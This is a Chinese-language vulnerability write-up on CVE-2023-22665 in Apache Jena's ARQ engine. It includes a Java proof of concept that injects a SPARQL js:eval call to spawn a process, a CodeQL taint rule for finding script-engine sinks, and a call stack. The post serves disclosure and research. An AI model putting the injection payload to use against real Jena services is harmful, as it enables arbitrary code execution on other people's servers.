0%

Apache Jena 代码执行漏洞(CVE-2023-22665)

ARQ是Jena的一个查询引擎,它支持SPARQLRDF查询语言,同时也支持JavaScript。当Jena应用的SPARQL语句被外部可控时,将会造成任意代码执行漏洞。

影响范围

  • Apache Jena <= 4.7.0

漏洞复现

1
2
3
4
5
6
<dependency>
<groupId>org.apache.jena</groupId>
<artifactId>apache-jena</artifactId>
<version>4.6.1</version>
<type>pom</type>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import org.apache.jena.query.*;
import org.apache.jena.rdf.model.*;

public class ApacheJenaTest {
public static void main(String[] args) {
String queryString = "PREFIX js: <http://jena.apache.org/ARQ/jsFunction#>\n" +
"SELECT js:eval(\"new java.lang.ProcessBuilder(\\\"open\\\", \\\"-a\\\", \\\"calculator\\\").start()\") {}" ;

Model model = ModelFactory.createDefaultModel();
QueryExecution qexec = QueryExecutionFactory.create(queryString, model);
qexec.execSelect().next();
}
}

挖掘过程

在分析CVE-2022-42889的时候,就觉得这种类型的漏洞应该比较普遍,所以写了对应的CodeQL规则,批量的扫了一些开源项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
* @kind path-problem
*/

import java
import semmle.code.java.dataflow.DataFlow
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph

class PublicMethodParameter extends DataFlow::Node {
PublicMethodParameter() {
exists(Method m, Parameter p |
m.getDeclaringType().isPublic() and
m.isPublic() and
p = m.getAParameter() and
p.getType().hasName("String") and
this.asParameter() = p
)
}
}

class ScriptEngineSink extends DataFlow::Node {
ScriptEngineSink() {
exists(MethodAccess ma, Interface i |
this.asExpr() = ma.getAnArgument() and
ma.getCallee().getDeclaringType().getASupertype*() = i and
(
i.hasQualifiedName("javax.script", "Invocable") and
(
ma.getCallee().hasName("invokeFunction") or
ma.getCallee().hasName("invokeMethod")
)
or
i.hasQualifiedName("javax.script", "Compilable") and
ma.getCallee().hasName("compile")
or
i.hasQualifiedName("javax.script", "ScriptEngine") and
ma.getCallee().hasName("eval")
)
)
}
}


class TaintTrackingConfig extends TaintTracking::Configuration {
TaintTrackingConfig() { this = "TaintTrackingConfig" }

override predicate isSource(DataFlow::Node source) { source instanceof PublicMethodParameter }

override predicate isSink(DataFlow::Node sink) { sink instanceof ScriptEngineSink }
}

from TaintTrackingConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink,
"Source: " + source.getNode().asParameter().getCallable().getDeclaringType() + "." +
source.getNode().asParameter().getCallable()

扫出来的结果也不能直接视为漏洞,只是可能存在类似漏洞,可以作为参考,然后我根据官方文档Apache Jena - ARQ - JavaScript SPARQL Functions,即可得到POC,调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
invokeFunction:197, NashornScriptEngine (jdk.nashorn.api.scripting)
exec:102, ScriptFunction (org.apache.jena.sparql.function.scripting)
exec:64, FunctionBase (org.apache.jena.sparql.function)
exec:47, FunctionBase (org.apache.jena.sparql.function)
evalSpecial:69, E_Function (org.apache.jena.sparql.expr)
eval:100, ExprFunctionN (org.apache.jena.sparql.expr)
get:114, VarExprList (org.apache.jena.sparql.core)
accept:64, QueryIterAssign (org.apache.jena.sparql.engine.iterator)
hasNextBinding:81, QueryIterProcessBinding (org.apache.jena.sparql.engine.iterator)
hasNext:116, QueryIteratorBase (org.apache.jena.sparql.engine.iterator)
hasNextBinding:58, QueryIterConvert (org.apache.jena.sparql.engine.iterator)
hasNext:116, QueryIteratorBase (org.apache.jena.sparql.engine.iterator)
hasNextBinding:38, QueryIteratorWrapper (org.apache.jena.sparql.engine.iterator)
hasNext:116, QueryIteratorBase (org.apache.jena.sparql.engine.iterator)
hasNextBinding:38, QueryIteratorWrapper (org.apache.jena.sparql.engine.iterator)
nextBinding:154, QueryIteratorBase (org.apache.jena.sparql.engine.iterator)
next:134, QueryIteratorBase (org.apache.jena.sparql.engine.iterator)
next:43, QueryIteratorBase (org.apache.jena.sparql.engine.iterator)
next:53, RowSetStream (org.apache.jena.sparql.exec)
next:29, RowSetStream (org.apache.jena.sparql.exec)
nextBinding:93, ResultSetStream (org.apache.jena.sparql.engine)
nextSolution:118, ResultSetStream (org.apache.jena.sparql.engine)
next:126, ResultSetStream (org.apache.jena.sparql.engine)

参考

RDF 和 SPARQL 初探:以维基数据为例 - 阮一峰的网络日志